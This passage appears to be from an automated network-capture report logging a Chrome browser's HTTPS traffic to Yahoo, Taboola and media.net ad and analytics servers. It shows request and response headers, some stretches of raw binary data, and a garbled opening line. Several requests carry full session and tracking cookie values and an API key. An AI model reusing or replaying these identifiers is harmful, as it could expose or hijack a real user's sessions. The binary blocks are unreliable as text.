!#0(2&DET'N9A;ZVP6T{$Y(\|o~+rRG1hwr$mi.u5e&^OC`[;<>1P?93KZg:kK}$+uvvN2#lE*4Ka-l#GPy^-]M8]6yLD q;
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: c0 94 3a 7e ac 93 7d 63 d0 fa 7f 7f 06 22 b7 eb 7c 0b 83 01 75 5e ff 46 8e 31 dc c8 e0 cd c3 74 ce 9a 7b 1e bb 82 7f 80 a2 aa db eb 4f 5b e0 ee 5e 88 6c 0f 23 95 e0 9f af b2 49 44 67 fd a9 47 89 0a cb 45 1a d5 49 dd 8c f9 57 c4 2f 6c fe 10 4e b0 25 60 cd 56 6a d8 64 53 30 0a 13 15 2a 7f 2f 44 ab 8d a5 79 fd b7 d5 3a 69 20 9c 02 4a fe 25 68 ca 2e de 58 33 eb 92 f1 7e 07 49 48 91 92 6e 00 4a 18 de 97 1c c9 c5 a9 2d b2 a2 ba cd 83 bb 12 b3 1c 0e 81 bd 3a e2 49 8c 1f 0e ff 66 bc 3c 8b c5 32 a9 e4 97 cf af d6 65 fd fb b9 17 28 df 53 a1 2b a5 96 6d ab 86 e0 ad 9e 22 4a 37 c1 a0 05 ef 5f ca b4 a8 bc 3d b7 8a cc ea 96 bf 5a df 21 cf bc 0d 30 c2 48 0d 98 a1 d1 f5 ee 03 6c 5d 3a 29 07 6f 9b 09 c2 fe 2c 78 60 dd 93 f8 d6 90 98 05 9c 01 44 ac df 49 fe cd 1c d4 d1 50 Data Ascii: :~}c"\|u^F1t{O[^l#IDgGEIW/lN%`VjdS0*/Dy:i J%h.X3~IHnJ-:If<2e(S+m"J7_=Z!0Hl]:)o,x`DIP
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 1c 67 48 29 7f 65 2e f5 fd 0d b3 1a 93 bd db 83 35 23 0d db 48 c4 25 64 8d 39 c0 a0 77 5b d7 01 1c e0 a6 dc e1 59 31 10 81 7f c3 60 e4 f1 cf 2d 3a 72 0f 68 a5 66 eb a8 a2 c8 13 7d 28 7e ac c7 0c 01 c8 94 14 d4 d7 cb 22 87 45 66 55 ea 9e 13 ee c4 90 48 60 1f 5d c9 aa b3 5d ba 15 45 32 ac c2 a8 d7 1a be e8 3d 88 6b 12 7a 45 1f 21 f3 91 03 0c 8a 31 a6 6b 88 a4 a5 dd 29 ad 65 5b c4 0e da f4 a5 72 e2 06 0d 99 64 29 9c a0 c8 09 a7 15 14 20 fc f0 5c e1 a2 3e 21 e2 05 ed 70 ee af fc a4 a6 9c 14 d5 78 8d 0b f4 7a fe eb ae 6e 71 ac 8f 21 1e 2b d0 bd 24 9b 6c 69 0e be bf 27 c5 78 19 5f a5 54 a9 a7 7c e6 7a 3e c4 3f c7 f3 ec 34 aa e7 bc 33 f7 ad 00 9a b8 f7 ba e9 76 2d ce b0 97 1f 05 d4 b8 d3 ae 62 d7 e5 1d ca ef 06 8d 48 d7 a0 2c 59 00 3b ac 21 1e e8 42 70 95 56 24 Data Ascii: gH)e.5#H%d9w[Y1`-:rhf}(~"EfUH`]]E2=kzE!1k)e[rd) \>!pxznq!+$li'x_T\|z>?43v-bH,Y;!BpV$
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 03 59 72 d8 fa fe 36 c3 51 e8 49 65 65 91 a7 a2 2b 69 7a 63 dd 76 6a f4 67 b6 b4 03 53 b2 3c ad 00 b6 4a 71 c3 7b 34 dc 6f 2d 4a 16 c7 a8 6b 6e 5b 92 60 20 c7 4f 4a a2 34 ce 22 c4 1d 20 9b 79 76 93 57 12 5f 40 f5 9e 20 b6 22 b1 0a 82 90 bc a3 46 b2 36 2e 9a 86 3b 70 e7 8f 62 67 00 98 10 5a 04 ac 9c 1a 66 86 f7 a2 0d 1e 3f e5 ed c0 8f 6b b6 db c3 a2 b5 b6 3d 24 e8 cf b7 ee b4 b8 ef 8c 4f 2e 9b 54 7f ac e4 12 21 f5 68 16 04 3c ba 80 77 62 c0 ee a0 9d 26 ba dc ae ab 36 ee 1a 36 4b e4 15 36 f2 41 6f e6 a2 c2 77 d4 b2 2e c8 a0 4d 83 35 02 91 65 f1 71 30 15 58 31 92 11 b7 48 7a c6 14 76 c0 0f 05 2d c9 40 ae 11 af 13 30 fd dc 10 b9 f1 9c ab 50 d1 07 d3 f7 35 e9 54 7f 4d da 7e c1 08 55 43 a1 0e 30 05 f3 82 fe 77 37 ee e8 9e 48 d8 04 c2 ea 41 e3 a0 3b b5 7b 62 a1 Data Ascii: Yr6QIee+izcvjgS<Jq{4o-Jkn[` OJ4" yvW_@ "F6.;pbgZf?k=$O.T!h<wb&66K6Aow.M5eq0X1Hzv-@0P5TM~UC0w7HA;{b
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 15 e3 43 1d b2 73 41 b7 b8 f7 4c 0a dc 19 03 48 0f e3 74 df 09 62 c1 0c 75 0c 43 ad f5 73 ae c4 85 ab 8c 98 77 16 36 aa a4 89 ef b4 3a d2 79 5b f4 c5 bf 0a 4f 18 74 75 cc 58 36 fd 0b 0f 8f bc db 4b e1 04 f4 d6 e1 14 c9 44 20 61 1f 25 ae e9 0d 56 17 fe 51 69 80 6f e6 4b 8f 52 f6 d2 3b 3a de 23 ab bd 26 be 43 7b 16 e7 39 a4 29 f3 8f 80 d6 0e ef 0e a8 bc ba da e4 32 03 ec e3 2a d2 1a b9 09 97 9b 6f 40 82 31 e8 38 a6 f1 e9 d1 27 85 f0 93 60 d2 21 f0 55 f7 95 3a bf d1 90 2d a4 7f 71 db bb c0 79 82 30 44 19 86 b4 04 65 67 19 25 52 b5 54 c4 77 02 03 9e 98 f2 87 10 4f 72 b7 9f 73 44 7d 34 4e 67 30 ff 13 6e d0 8d ab fe b9 44 7d 66 8a 51 df b9 71 53 1a 68 11 ef 54 9c b0 56 5b dd 24 a6 d3 ef 52 67 4c b0 c4 30 7c 96 49 bc 68 2b 36 5b ad b8 b1 46 a3 62 3f e1 2f bd ea Data Ascii: CsALHtbuCsw6:y[OtuX6KD a%VQioKR;:#&C{9)2*o@18'`!U:-qy0Deg%RTwOrsD}4Ng0nD}fQqShTV[$RgL0\|Ih+6[Fb?/
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 6b 48 72 a2 cb fd 45 0b 21 b1 a7 ab 3a 2d cd 5e f8 38 2e 76 78 fc ce b4 ef 48 3c ab 1e 4a 9e a2 ac 2e ec d4 42 88 b2 b4 5a a3 c3 77 6f b9 17 1a 9a d0 59 6f a7 cd d9 e2 bd 04 d6 90 a3 3f b3 6e 85 20 9e c3 c1 96 92 74 4f c6 04 f3 11 9f da 27 bc 69 cb e1 a9 eb 3d f0 f9 b0 20 7a 13 29 e1 68 f3 c5 e9 42 03 6a d0 60 5f 97 57 e4 0a dd 08 45 a4 7a 75 1a 8e 64 ff 4e 85 76 1d 76 c4 0f eb ea 8d 35 d4 af 01 40 6d 3a 29 13 a2 23 5e e1 e7 d5 ef cf b1 8a e6 ad d3 77 d4 8d 75 da e5 8b 08 9b dc 57 fc 1d 74 11 f0 20 55 fa 5f 7d 19 39 4f 1e 43 c7 5a f5 cd b8 9b 78 97 81 4f 5e 74 a5 c0 85 63 0e 31 f7 25 31 83 ed 6a ff 83 94 c1 e5 e6 fe d3 4d f1 0d 5f aa 2e 1c 84 91 1a 2e 73 bc 20 76 4b 63 3c 16 29 28 27 e6 4b 67 84 32 71 12 c9 a1 da 2e 72 08 bd 85 8a cf 62 e9 a3 c9 77 13 d7 Data Ascii: kHrE!:-^8.vxH<J.BZwoYo?n tO'i= z)hBj`_WEzudNvv5@m:)#^wuWt U_}9OCZxO^tc1%1jM_..s vKc<)('Kg2q.rbw
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 30 ba 55 9f f2 c6 b2 17 36 ba 33 3a c6 a2 3e 4d 97 3d 49 f8 6c 4b e9 b6 fe ad 70 7b 7d 6e 88 bd 47 88 10 a4 50 80 3f 0d 5c 1c 21 4e 7e af df 57 ef 5a ee 6f 23 b0 c3 39 fe 80 b7 60 05 3d 4b 14 1e c8 74 ee d7 d4 8f b7 53 22 d0 31 68 1e 73 66 d9 2c e8 15 14 58 a0 b7 a5 12 7c 51 78 f7 b2 fe da 7b 4f 70 98 0e 0f 7b 9f 08 77 cb 3e 5d 05 cf 55 e0 e9 c3 d5 29 71 40 f3 d8 43 99 4d e5 8c 0a 43 08 c3 f3 3c 21 f2 03 92 28 b2 f4 e1 2e de 4d cc 5f 0d a5 c4 1b aa 3e 36 f6 52 05 a8 40 3e 52 9b a2 72 66 bd c0 e9 5d ae bf 7a 2b 43 a1 f9 d4 3c 86 00 06 f7 da 96 40 c6 d5 65 e3 0b 6c c6 71 53 59 54 02 75 11 8d 70 02 bc 1b 73 f6 cb 1a 6d 51 d9 82 c4 54 93 eb e1 c0 07 99 09 80 d0 53 5d 79 89 69 0a 9f cf e8 70 f4 6a 72 13 4c 26 3e cf d6 42 65 bf 80 48 3a a4 ed 64 be 95 95 88 6b Data Ascii: 0U63:>M=IlKp{}nGP?\!N~WZo#9`=KtS"1hsf,X\|Qx{Op{w>]U)q@CMC<!(.M_>6R@>Rrf]z+C<@elqSYTupsmQTS]yipjrL&>BeH:dk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	49897	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:13 UTC	589	OUT	GET /g/images/spaceball.gif HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:13 UTC	837	IN	HTTP/1.1 200 OK x-amz-id-2: 1aKL82KlxEoAyfK3gH+c7/3GnrS8UPy11G5zfw4fZjNW/bqdVhJOi6kPuN4FHWvXC/uF8FkfDBk= x-amz-request-id: 3XAXMY3NVD3PWQWD Date: Wed, 10 Jan 2024 14:59:45 GMT Last-Modified: Wed, 24 Feb 2021 23:21:03 GMT ETag: "325472601571f31e1bf00674c368d335" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: KAUQOG5o0gBSJgl4c2JS9bVGo5z87pfq Accept-Ranges: bytes Content-Type: image/gif Server: ATS Content-Length: 43 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 30449 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:27:13 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	49899	34.200.65.202	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:13 UTC	1011	OUT	GET /ups/58831/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; IDSYNC="19cw~2g3z:19e0~2g3z"
2024-01-10 23:27:13 UTC	454	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:13 GMT Content-Type: application/json Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19cw~2g3z:19e0~2g3z:19e7~2g3z";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Thu, 09-Jan-2025 23:27:13 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Age: 0 Transfer-Encoding: chunked Connection: close Server: ATS/9.1.10.94
2024-01-10 23:27:13 UTC	59	IN	Data Raw: 33 30 0d 0a 7b 22 61 78 69 64 22 3a 20 22 79 2d 2e 73 6d 58 68 74 52 45 32 75 49 77 59 37 4b 63 4c 59 6e 51 53 42 76 37 50 42 47 75 2e 70 6f 47 7e 41 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 30{"axid": "y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	49898	69.147.92.12	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:13 UTC	990	OUT	GET /fp_ms/_rcv/remote?ctrl=NativeAd&m_id=react-wafer-nativeAd&rid=0gast8pipu9uc&m_mode=json&designtype=default HTTP/1.1 Host: www.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A
2024-01-10 23:27:13 UTC	575	IN	HTTP/1.1 500 Internal Server Error referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 x-frame-options: SAMEORIGIN content-type: text/html; charset=utf-8 x-app-version: 1.0.36844 x-applet-version: 1.0.36844 x-applet-id: react-wafer-nativeAd content-length: 17 etag: W/"11-9VbgaIcEenVDneJO0QQdjtlpjgE" date: Wed, 10 Jan 2024 23:27:13 GMT x-envoy-upstream-service-time: 9 server: ATS x-envoy-decorator-operation: tdv2-app-fp--mtls-production-bf1.frontpage-k8s-frontend.svc.yahoo.local:4080/* X-Bypass-Ssl-Transform: 1 Age: 0
2024-01-10 23:27:13 UTC	962	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 62 75 69 6c 74 62 79 67 69 72 6c 73 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 72 69 76 61 6c 73 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 65 6e 67 61 64 67 65 74 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 69 6e 74 68 65 6b 6e 6f 77 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 75 74 6f 62 6c 6f 67 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 74 65 63 68 63 72 75 6e 63 68 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 79 61 68 6f 6f 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 6f 6c 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 68 75 66 66 69 6e 67 74 6f 6e 70 6f 73 74 2e 63 Data Ascii: Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://*.huffingtonpost.c
2024-01-10 23:27:13 UTC	17	IN	Data Raw: 4d 69 73 73 69 6e 67 20 61 64 73 20 61 72 72 61 79 Data Ascii: Missing ads array

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	49895	23.44.133.4	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:13 UTC	1648	OUT	GET /log?logid=kfk&evtid=belog&itype=YHB&tElp=796&adt=desktop&cid=8YHBJ3BJ0&ct=WASHINGTON&cc=US&ugd=4&app=0&pht=907&pid=8PR6KY355&dn=yahoo.com&servname=ssp-serving-yin-788cfd57b6-7p4h8&svr=264_91_101_ssp&sc=DC&version=4&vh=907&vw=1280&vsid=&vid=00001704929231786017221018029886&sspAbBucket=CONTROL&lw=1&dapp=green&nob=&bx_dc=sc&itypeid=84&sd=-1&adbd=0&npa=0&gdpr=0&csstr=&tcf_cmp=14&tcf_status=loaded&tcf_prp=0000--0&suc=0&tcf_api=1&tcf_gdpr=0&usp_enf=1&usp_status=0&usp_ldf=&usp_string=1YNN&ufca=13&coppa_status=&coppa_applied=&id_details=&gpp_present=1&gpp_dec_sid%3C%3E=&gpp_sid%3C%3E=-1&uspca_status=-----------&uspco_status=-----------&uspct_status=-----------&uspnat_status=-----------&usput_status=-----------&uspva_status=-----------&abte=SSP_CLIENT&rtype=&lbr=1&mnkv=&pabte=&pc=&ccat=&floc_id=&floc_ver=&gfundl=&gtd=400&inid=&ngfundl=1400&rdl=1400&r_tim%3C%3E=3821649&pubdpa=2&name=DFST&stack=NONE&lvl=3&crid=&pvid=&dfpDiv=&liid=&dfpBd=&acid=&rctr=&sz=&t_cntdwn=&t_ciel=&ebuid=&lper=1&requrl=https%3A%2F%2Fwww.yahoo.com%2F&kwrf= HTTP/1.1 Host: lg1.hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10
2024-01-10 23:27:13 UTC	318	IN	HTTP/1.1 200 OK Content-Type: image/gif Access-Control-Allow-Origin: * Content-Length: 35 Expires: Wed, 10 Jan 2024 23:27:13 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:13 GMT Connection: close Strict-Transport-Security: max-age=86400 ; includeSubDomains
2024-01-10 23:27:13 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 ff ff ff 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a,@L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	49896	23.44.133.4	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:13 UTC	2729	OUT	GET /log?logid=kfk&evtid=belog&itype=YHB&tElp=799&adt=desktop&cid=8YHBJ3BJ0&ct=WASHINGTON&cc=US&ugd=4&app=0&pht=907&pid=8PR6KY355&dn=yahoo.com&servname=ssp-serving-yin-788cfd57b6-7p4h8&svr=264_91_101_ssp&sc=DC&version=4&vh=907&vw=1280&vsid=&vid=00001704929231786017221018029886&sspAbBucket=CONTROL&lw=1&dapp=green&nob=&bx_dc=sc&itypeid=84&sd=-1&adbd=0&npa=0&gdpr=0&csstr=&tcf_cmp=14&tcf_status=loaded&tcf_prp=0000--0&suc=0&tcf_api=1&tcf_gdpr=0&usp_enf=1&usp_status=0&usp_ldf=&usp_string=1YNN&ufca=13&coppa_status=&coppa_applied=&id_details=&gpp_present=1&gpp_dec_sid%3C%3E=&gpp_sid%3C%3E=-1&uspca_status=-----------&uspco_status=-----------&uspct_status=-----------&uspnat_status=-----------&usput_status=-----------&uspva_status=-----------&abte=SSP_CLIENT&rtype=&lbr=1&mnkv=&pabte=&pc=&ccat=&floc_id=&floc_ver=&gfundl=&gtd=400&inid=&ngfundl=1400&rdl=1400&r_tim%3C%3E=3821649&pubdpa=2&name=DFS_PERF&stack=%7B%22name%22%3A%22https%3A%2F%2Fhb.yahoo.net%2Fss%2Fnes%2Fdfs%3Fitype%3DYHB%26type%3D1%26cid%3D8YHBJ3BJ0%26dn%3Dwww.yahoo.com%26cc%3DUS%26ugd%3Ddesktop%26callback%3Dwindow.advBidxc.pf_rtd%22%2C%22entryType%22%3A%22resource%22%2C%22startTime%22%3A4534.799999999988%2C%22duration%22%3A713.3000000000175%2C%22initiatorType%22%3A%22link%22%2C%22deliveryType%22%3A%22%22%2C%22nextHopProtocol%22%3A%22http%2F1.1%22%2C%22renderBlockingStatus%22%3A%22non-blocking%22%2C%22workerStart%22%3A0%2C%22redirectStart%22%3A0%2C%22redirectEnd%22%3A0%2C%22fetchStart%22%3A4534.799999999988%2C%22domainLookupStart%22%3A4644.399999999994%2C%22domainLookupEnd%22%3A4645%2C%22connectStart%22%3A4645%2C%22secureConnectionStart%22%3A4656.100000000006%2C%22connectEnd%22%3A4992.1999999999825%2C%22requestStart%22%3A4992.299999999988%2C%22responseStart%22%3A5212.100000000006%2C%22firstInterimResponseStart%22%3A0%2C%22responseEnd%22%3A5248.100000000006%2C%22transferSize%22%3A11876%2C%22encodedBodySize%22%3A11576%2C%22decodedBodySize%22%3A11576%2C%22responseStatus%22%3A0%2C%22serverTiming%22%3A%5B%5D%7D&lvl=3&crid=&pvid=&dfpDiv=&liid=&dfpBd=&acid=&rctr=&sz=&t_cntdwn=&t_ciel=&ebuid=&lper=1&requrl=https%3A%2F%2Fwww.yahoo.com%2F&kwrf= HTTP/1.1 Host: lg1.hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10
2024-01-10 23:27:13 UTC	318	IN	HTTP/1.1 200 OK Content-Type: image/gif Access-Control-Allow-Origin: * Content-Length: 35 Expires: Wed, 10 Jan 2024 23:27:13 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:13 GMT Connection: close Strict-Transport-Security: max-age=86400 ; includeSubDomains
2024-01-10 23:27:13 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 ff ff ff 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a,@L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	49903	151.101.129.44	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:13 UTC	656	OUT	GET /1.2/json/taboola-usersync/user.sync?app.type=desktop&app.apikey=e60e3b54fc66bae12e060a4a66536126f26e6cf8 HTTP/1.1 Host: api.taboola.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:13 UTC	973	IN	HTTP/1.1 200 OK Connection: close Server: nginx Content-Type: application/json;charset=utf-8 P3P: policyref="http://trc.taboola.com/p3p.xml", CP="NOI DSP COR LAW NID CURa ADMa DEVa PSAa PSDa OUR BUS IND UNI COM NAV INT DEM" Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Credentials: true Set-Cookie: t_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51;Version=1;Path=/;Domain=.taboola.com;Expires=Thu, 09-Jan-2025 23:27:13 GMT;Max-Age=31536000;Secure;SameSite=None Set-Cookie: t_pt_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51;Version=1;Path=/;Domain=.taboola.com;Expires=Thu, 09-Jan-2025 23:27:13 GMT;Max-Age=31536000;Secure;SameSite=None;Partitioned Accept-Ranges: bytes Date: Wed, 10 Jan 2024 23:27:13 GMT Via: 1.1 varnish X-SERVICE-VERSION: v1 X-Served-By: cache-ewr18137-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1704929234.569128,VS0,VE21 Vary: Accept-Encoding X-vcl-time-ms: 21 transfer-encoding: chunked
2024-01-10 23:27:13 UTC	4	IN	Data Raw: 35 33 0d 0a Data Ascii: 53
2024-01-10 23:27:13 UTC	83	IN	Data Raw: 7b 22 75 73 65 72 22 3a 7b 22 69 64 22 3a 22 35 33 63 35 63 33 39 62 2d 30 32 66 34 2d 34 64 65 61 2d 38 39 39 39 2d 39 37 36 35 33 31 64 30 66 39 39 32 2d 74 75 63 74 63 39 38 61 64 35 31 22 2c 22 69 73 4e 65 77 55 73 65 72 22 3a 74 72 75 65 7d 7d Data Ascii: {"user":{"id":"53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51","isNewUser":true}}
2024-01-10 23:27:13 UTC	7	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	49902	23.205.72.21	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:13 UTC	713	OUT	GET /cksync?cs=3&type=yhb&gdpr=0&gdpr_consent=&redirect=https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fcs%3D1%26type%3Dmn%26ovsid%3D%3Cvsid1%3E%26axid_e%3D HTTP/1.1 Host: cs.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
